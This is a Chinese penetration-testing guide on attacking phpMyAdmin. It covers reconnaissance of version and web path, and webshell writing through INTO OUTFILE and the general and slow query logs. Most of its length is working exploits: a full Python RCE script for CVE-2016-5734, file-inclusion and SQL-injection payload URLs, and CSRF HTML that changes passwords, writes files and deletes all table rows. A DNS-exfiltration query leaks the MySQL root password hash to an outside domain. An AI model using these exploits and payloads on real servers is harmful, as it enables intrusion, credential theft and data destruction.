总结分析 | 基于phpmyadmin的渗透测试

phpMyAdmin 是一个以PHP为基础，以Web-Base方式架构在网站主机上的MySQL的数据库管理工具，让管理者可用Web接口管理MySQL数据库。借由此Web接口可以成为一个简易方式输入繁杂SQL语法的较佳途径，尤其要处理大量资料的汇入及汇出更为方便。其中一个更大的优势在于由于phpMyAdmin跟其他PHP程式一样在网页服务器上执行，但是您可以在任何地方使用这些程式产生的HTML页面，

前端开发小司机

3498人浏览 · 2023-09-22 09:36:53

前端开发小司机 · 2023-09-22 09:36:53 发布

一、什么是phpmyadmin？

它是一个基于Web的MySQL数据库管理工具，它可以让用户通过浏览器对MySQL数据库进行各种操作，如创建、删除、修改、查询等。phpmyadmin通常安装在Web服务器上，通过访问Web服务器上的某个目录或文件，如http://example.com/phpmyadmin/或http://example.com/pma/index.php，就可以进入phpmyadmin的登录界面。phpmyadmin的登录界面要求用户输入MySQL数据库的用户名和密码，如果用户输入正确，就可以进入phpmyadmin的主界面，对MySQL数据库进行管理。

phpmyadmin各版本下载：phpMyAdmin - Files

二、为什么要攻击phpmyadmin？

phpmyadmin是一个非常常见和流行的MySQL数据库管理工具，很多网站都使用它来管理自己的数据库。
如果攻击者能够成功攻击phpmyadmin，就可以获取到网站的数据库信息，如用户数据、敏感数据、后台账号等，这对攻击者来说是非常有价值的。
此外，如果攻击者能够在phpmyadmin中执行任意代码，就可以实现对Web服务器的完全控制，从而进一步扩大攻击范围和影响。

三、如何攻击phpmyadmin？

3.1常见的phpMyAdmin漏洞

弱密码：如果攻击者能够猜测或破解phpMyAdmin帐户的密码，他们就可以访问数据库并可能造成危害
过时版本：运行过时版本的phpMyAdmin可能会使您的系统容易受到已知漏洞的攻击。例如，phpmyadmin 4.8.0和4.8.1版本存在远程文件包含漏洞（CVE-2018-12613
远程文件包含：远程文件包含（RFI）漏洞允许攻击者将远程文件（通常是恶意脚本）包含到Web应用程序中。这可能导致服务器上执行任意代码
远程代码执行：远程代码执行（RCE）漏洞允许攻击者在服务器上执行任意代码。例如，phpmyadmin 4.8.1版本存在此类漏洞

3.2Getshell方法

"Getshell"指在被攻陷的系统上获得远程shell的过程。有几种方法可以通过phpMyAdmin进行getshell：

Select into Outfile：这种方法涉及使用“SELECT … INTO OUTFILE”SQL语句将webshell写入服务器上的文件。攻击者必须知道webroot的绝对路径并具有对该目录的写权限
日志文件操作：这种方法涉及操作MySQL日志文件以将webshell写入服务器上的文件。攻击者必须具有对日志文件目录的写权限并知道webroot的绝对路径
新表：这种方法涉及在数据库中创建一个新表并将webshell插入其中一个字段。然后，攻击者必须使用“INTO OUTFILE”语句将该字段的内容写入服务器上的文件

以上所有方法都需要满足某些条件，例如具有写权限并知道webroot的绝对路径。此外，这些方法可能会在系统上留下痕迹，并可能被安全措施检测到。

四、phpmyadmin信息收集

4.1 版本信息获取

获取phpmyadmin版本信息，在网址根路径后面添加

readme.php
README
changelog.php
Change
Documetation.html
Documetation.txt
translators.html

（注意区分大小写）就可以看到phpmyadmin的相关版本信息了，这个方法也是通杀的，只要管理员不把他们删掉。

在这里插入图片描述

4.2 绝对路径获取

(1) phpinfo() 页面：最理想的情况，直接显示web路径 (2) web报错信息：可以通过各种fuzz尝试让目标报错，也有可能爆出绝对路径 (3) 一些集成的web框架：如果目标站点是利用phpstudy、LAMPP等之类搭建的，可以通过查看数据库路径

show variables like '%datadir%';

在这里插入图片描述

再猜解web路径的方法，一般容易成功。

（5）其他方法

1.查看数据库表内容获取 有一些cms会保存网站配置文件 或者路径
2.进入后台
3.百度出错信息 zoomeye shadon 搜索error warning
4. @@datadir参数看mysql路径 反猜绝对路径

五、PhpMyAdminGetshell

5.1 写入文件GetShell

可以通过写shell进行提权，而我们需要满足以下条件：

1.数据库root权限
2.知道网站的物理路径
3.数据库有写权限

MySQL 5.0+的版本会，然后在服务运行的情况下修改变量变量也可以移动文件位置的，但是必须要对生成日志的目录具有可更改的写权限。（Linux环境下可能会比较苛刻，因为站点目录是一个用户，MySQL是另外一个用户，权限管控较大严格，主要取决于权限配置是否得当）

5.1.1 直接写入文件getshell

直接用into outfile 直接在网站目录下写入webshell，但是该方法需要前提条件是： (1) 当前的数据库用户有写权限 (2) 知道web绝对路径 (3) web路径能写

如何判断当前数据库用户有写权限？执行：

show variables like '%secure%';

如果secure_file_priv如果非空，则只能在对应的目录下读文件，如果是空即可在其他目录写。Linux下默认/tmp目录可写。

secure_file_priv是MySQL的一个参数，它用于限制MySQL的数据导入和导出操作。
具体来说，它会影响到LOAD DATA、SELECT … INTO OUTFILE语句和LOAD_FILE()函数的执行。
这个参数的值有以下几种可能性：
如果secure_file_priv的值为null，表示限制mysqld不允许导入或导出。
如果secure_file_priv的值为某个具体的目录路径（例如/tmp/），表示限制mysqld的导入或导出只能发生在该目录下。
如果secure_file_priv没有具体值，表示不对mysqld的导入或导出做限制。
你可以通过执行SQL语句 show global variables like '%secure%'; 来查看当前的secure_file_priv参数值。
需要注意的是，在MySQL 5.5之前，secure_file_priv默认是空，这个情况下可以向任意绝对路径写文件。但在MySQL 5.5之后，secure_file_priv默认是NULL，这个情况下不可以写文件。
如果你想修改这个参数的值，可以在MySQL的配置文件（Windows下是my.ini，Linux下是my.cnf）中添加或修改secure_file_priv=这一行1。修改后需要重启MySQL服务才能生效。这样就可以根据你的需求来控制MySQL的数据导入和导出操作了。

编写一句phpinfo文件，

select "<?php phpinfo();?>" INTO OUTFILE  "d:\\phpstudy\\www\\7.php"

这里必须注意要双反斜线，否则会转义，

5.1.2 通过写入日志文件getshell

读写权限+web绝对路径，修改日志文件为webshell

具体利用方法如下

(1) 开启日志记录:

set global general_log = "ON";

在这里插入图片描述

(2) 查看当前的日志目录:

show variables like 'general%';

在这里插入图片描述

(3) 指定日志文件

set global general_log_file = "D:/phpStudy/WWW/gouwo.php";

在这里插入图片描述

(4)) 写入执行代码：

select "<?php phpinfo();?>";

1694347996_64fdb2dc189fcc9cbe242.png!small?1694347995722

在这里插入图片描述

5.1.3 通过慢查询写入webshell

具体方法如下：

(1) 查看当前慢查询日志目录：

show variables like '%slow%';

在这里插入图片描述

(2) 重新设置路径：

set GLOBAL slow_query_log_file='D:/phpStudy/WWW/gouwo2.php';

在这里插入图片描述

(3) 开启慢查询日志：

set GLOBAL slow_query_log=on;

在这里插入图片描述

(4)) 执行写入日志：

select '<?php phpinfo();?>' from mysql.db where sleep(10);

在这里插入图片描述

5.2 MOF提权：

通过mysql将文件写入一个MOF文件替换掉原有的MOF文件，然后系统每隔五秒就会执行一次上传的MOF。一般适用于Windows <= 2003，并且C:\Windows\System32\mof目录具有写权限（一般是没有权限写）。可以使用MSF直接利用：

use exploit/windows/mysql/mysql_mof
set rhost 192.168.106.170
set rport 3306
set password root
set username root
exploit

六、PhpMyAdmin漏洞利用

6.1 WooYun-2016-199433：任意文件读取漏洞

影响范围：

phpMyAdmin version
2.x版本

POC如下：

POST /scripts/setup.php HTTP/1.1 
Host: your-ip:8080
Accept-Encoding: gzip, deflate Accept: */*
Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trid ent/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded 
Content-Length: 80


action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}

6.2 CVE-2014 -8959：本地文件包含

影响范围：

phpMyAdmin version
4.0.1~4.2.12
PHP version
< 5.3.4

POC如下：

/gis_data_editor.php?token=2941949d3768c57b4342d94ace606e91&gis_data[gis_type]=/../../../../phpinfo.txt%00    # 注意改下token值

在实际利用中可以利用写入文件到/tmp目录下结合此漏洞完成RCE，php版本可以通过http header、导出表内容到文件的附加内容看到。

6.3 CVE-2016-5734 ：后台命令执行RCE

影响范围：

phpMyAdmin version
4.0.10.16 之前的4.0.x版本
4.4.15.7 之前的 4.4.x版本
4.6.3之前的 4.6.x版本

PHP version
4.3.0~5.4.6
Php 5.0 版本以上的将 preg_replace 的 /e修饰符给废弃掉了

POC如下：

#!/usr/bin/env python

"""cve-2016-5734.py: PhpMyAdmin 4.3.0 - 4.6.2 authorized user RCE exploit
Details: Working only at PHP 4.3.0-5.4.6 versions, because of regex break with null byte fixed in PHP 5.4.7.
CVE: CVE-2016-5734
Author: https://twitter.com/iamsecurity
run: ./cve-2016-5734.py -u root --pwd="" http://localhost/pma -c "system('ls -lua');"
"""

import requests
import argparse
import sys

__author__ = "@iamsecurity"

if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument("url", type=str, help="URL with path to PMA")
parser.add_argument("-c", "--cmd", type=str, help="PHP command(s) to eval()")
parser.add_argument("-u", "--user", required=True, type=str, help="Valid PMA user")
parser.add_argument("-p", "--pwd", required=True, type=str, help="Password for valid PMA user")
parser.add_argument("-d", "--dbs", type=str, help="Existing database at a server")
parser.add_argument("-T", "--table", type=str, help="Custom table name for exploit.")
arguments = parser.parse_args()
url_to_pma = arguments.url
uname = arguments.user
upass = arguments.pwd
if arguments.dbs:
db = arguments.dbs
else:
db = "test"
token = False
custom_table = False
if arguments.table:
custom_table = True
table = arguments.table
else:
table = "prgpwn"
if arguments.cmd:
payload = arguments.cmd
else:
payload = "system('uname -a');"

size = 32
s = requests.Session()
# you can manually add proxy support it's very simple ;)
# s.proxies = {'http': "127.0.0.1:8080", 'https': "127.0.0.1:8080"}
s.verify = False
sql = '''CREATE TABLE `{0}` (
`first` varchar(10) CHARACTER SET utf8 NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
INSERT INTO `{0}` (`first`) VALUES (UNHEX('302F6500'));
'''.format(table)

# get_token
resp = s.post(url_to_pma + "/?lang=en", dict(
pma_username=uname,
pma_password=upass
))
if resp.status_code is 200:
token_place = resp.text.find("token=") + 6
token = resp.text[token_place:token_place + 32]
if token is False:
print("Cannot get valid authorization token.")
sys.exit(1)

if custom_table is False:
data = {
"is_js_confirmed": "0",
"db": db,
"token": token,
"pos": "0",
"sql_query": sql,
"sql_delimiter": ";",
"show_query": "0",
"fk_checks": "0",
"SQL": "Go",
"ajax_request": "true",
"ajax_page_request": "true",
}
resp = s.post(url_to_pma + "/import.php", data, cookies=requests.utils.dict_from_cookiejar(s.cookies))
if resp.status_code == 200:
if "success" in resp.json():
if resp.json()["success"] is False:
first = resp.json()["error"][resp.json()["error"].find("<code>")+6:]
error = first[:first.find("</code>")]
if "already exists" in error:
print(error)
else:
print("ERROR: " + error)
sys.exit(1)
# build exploit
exploit = {
"db": db,
"table": table,
"token": token,
"goto": "sql.php",
"find": "0/e\0",
"replaceWith": payload,
"columnIndex": "0",
"useRegex": "on",
"submit": "Go",
"ajax_request": "true"
}
resp = s.post(
url_to_pma + "/tbl_find_replace.php", exploit, cookies=requests.utils.dict_from_cookiejar(s.cookies)
)
if resp.status_code == 200:
result = resp.json()["message"][resp.json()["message"].find("</a>")+8:]
if len(result):
print("result: " + result)
sys.exit(0)
print(
"Exploit failed!\n"
"Try to manually set exploit parameters like --table, --database and --token.\n"
"Remember that servers with PHP version greater than 5.4.6"
" is not exploitable, because of warning about null byte in regexp"
)
sys.exit(1)

利用如下：

cve-2016-5734.py -u root --pwd="" http://localhost/pma -c "system('ls -lua');"

6.4 CVE-2018-12613：后台文件包含

影响范围：

phpMyAdmin version
4.8.0和4.8.1

利用如下：（1）执行SQL语句，将PHP代码写入Session文件中：

select '<?php phpinfo();exit;?>'

（2）包含session文件：

http://10.1.1.10/index.php?target=db_sql.php%253f/../../../../../../../../var/l ib/php/sessions/sess_*** 		# *** 为phpMyAdmin的COOKIE值

6.5 CVE-2018-19968：任意文件包含/RCE

影响范围：

phpMyAdmin version
4.8.0~4.8.3

利用如下：（1）创建数据库，并将PHP代码写入Session文件中

CREATE DATABASE foo;CREATE TABLE foo.bar (baz VARCHAR(100) PRIMARY KEY );INSERT INTO foo.bar SELECT '<?php phpinfo(); ?>';

（2）生成foo数据库的phpMyAdmin的配置表，访问：

http://10.1.1.10/chk_rel.php?fixall_pmadb=1&db=foo

（3）篡改数据插入pma column_info中：

INSERT INTO` pma__column_infoSELECT '1', 'foo', 'bar', 'baz', 'plop','plop', ' plop', 'plop','../../../../../../../../tmp/sess_***','plop'; # *** 为phpMyAdmin 的COOKIE值

这里要注意不用系统的session保存位置不同，具体系统可以在phpMyAdmin登录后首页看到

MacOS：

/var/tmp

Linux：

/var/lib/php/sessions

phpStudy：

/phpstudy/PHPTutorial/tmp/tmp

（4）访问包含Session文件的地址：

http://10.1.1.10/tbl_replace.php?db=foo&table=bar&where_clause=1=1&fields_name[ multi_edit][][]=baz&clause_is_unique=1

6.6 CVE-2020-0554：后台SQL注入

影响范围：

phpMyAdmin version
phpMyAdmin 4< 4.9.4
phpMyAdmin 5< 5.0.1
前提：已知一个用户名密码

简单总结流程：

页面位置server_privileges.php；

设置变量ajax_requests为true；

设置变量validate_username 为真值；

设置变量username 为我们拼接的注入语句。

构造payload：

http://192.168.209.139:8001/server_privileges.php?ajax_requests=true&validate_username=1&username=1%27or%201=1%20--+db=&token=c2064a8c5f437da931fa01de5aec6581&viewing_mode=server

（token和其余参数会在访问页面的时候自动提供）

我们查看后端收到的数据，可以看到SQL已经成功拼接。

执行完毕后程序只会告知SQL是否执行成功，失败会报错，因此此处我们可以利用报错注入。

构造payload：

http://192.168.209.139:8001/server_privileges.php?ajax_request=true&validate_username=1&username=1%27and%20extractvalue(1,concat(0x7e,(select%20user()),0x7e))--+db=&token=c2064a8c5f437da931fa01de5aec6581&viewing_mode=server

可以看到已经成功执行了我们注入的指令。

参考链接CVE-2020-0554：phpMyAdmin后台SQL注入

6.7 CVE-2019-12922 跨站请求伪造

影响范围：

phpMyAdmin version
<= 4.9.0.1

利用如下：

在登录状态下，添加一个服务器

http://127.0.0.1/phpmyadmin/setup/index.php

点击删除时，通过工具抓包

参数id对应的是第几个服务器。构造恶意链接。

当然实战中的链接怎么吸引人让目标去点击还得靠自己去构造。

页面显示404，但img的src会去请求一次。此时创建了两个服务器

点击我们构造的恶意链接时，显示刚才构造的页面结果

此时再去查看服务器

已经被删除，攻击成功。

参考链接：CVE-2019-12922 phpMyAdmin 4.9.0.1-跨站请求伪造漏洞复现

6.8 CVE-2017-1000499 跨站请求伪造

影响范围：

phpMyAdmin version
Phpmyadmin:4.7.6  
Phpmyadmin:4.7.0:Beta1  
Phpmyadmin:4.7.0:Rc1  
Phpmyadmin:4.7.5  
Phpmyadmin:4.7.4

POC如下：

# Exploit Title: phpMyAdmin 4.7.x - Cross-Site Request Forgery
# Date: 2018-08-28
# Exploit Author: VulnSpy
# Vendor Homepage: https://www.phpmyadmin.net/
# Software Link: https://www.phpmyadmin.net/downloads/
# Version: Versions 4.7.x (prior to 4.7.7)
# Tested on: php7 mysql5
# CVE: CVE-2017-1000499

# Exploit CSRF - Modifying the password of current user

<p>Hello World</p>
<img src="
http://7f366ec1afc5832757a402b5355132d0.vsplate.me/sql.php?db=mysql&table=user&sql_query=SET%20password
%20=%20PASSWORD(%27www.vulnspy.com%27)" style="display:none;" />

# Exploit CSRF - Arbitrary File Write

<p>Hello World</p>
<img src="
http://7f366ec1afc5832757a402b5355132d0.vsplate.me/sql.php?db=mysql&table=user&sql_query=select
'<?php phpinfo();?>' into outfile '/var/www/html/test.php';"
style="display:none;" />

# Exploit CSRF - Data Retrieval over DNS

SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE
user='root' LIMIT 1),'.vulnspy.com\\test'));

# Exploit CSRF - Empty All Rows From All Tables

<p>Hello World</p>
<img src="
http://7f366ec1afc5832757a402b5355132d0.vsplate.me/import.php?db=mysql&table=user&sql_query=DROP+PROCEDURE+IF+EXISTS+EMPT%3B%0ADELIMITER+%24%24%0A++++CREATE+PROCEDURE+EMPT%28%29%0A++++BEGIN%0A++++++++DECLARE+i+INT%3B%0A++++++++SET+i+%3D+0%3B%0A++++++++WHILE+i+%3C+100+DO%0A++++++++++++SET+%40del+%3D+%28SELECT+CONCAT%28%27DELETE+FROM+%27%2CTABLE_SCHEMA%2C%27.%27%2CTABLE_NAME%29+FROM+information_schema.TABLES+WHERE+TABLE_SCHEMA+NOT+LIKE+%27%25_schema%27+and+TABLE_SCHEMA%21%3D%27mysql%27+LIMIT+i%2C1%29%3B%0A++++++++++++PREPARE+STMT+FROM+%40del%3B%0A++++++++++++EXECUTE+stmt%3B%0A++++++++++++SET+i+%3D+i+%2B1%3B%0A++++++++END+WHILE%3B%0A++++END+%24%24%0ADELIMITER+%3B%0A%0ACALL+EMPT%28%29%3B%0A"
style="display:none;" />

参考链接：CVE-2017-1000499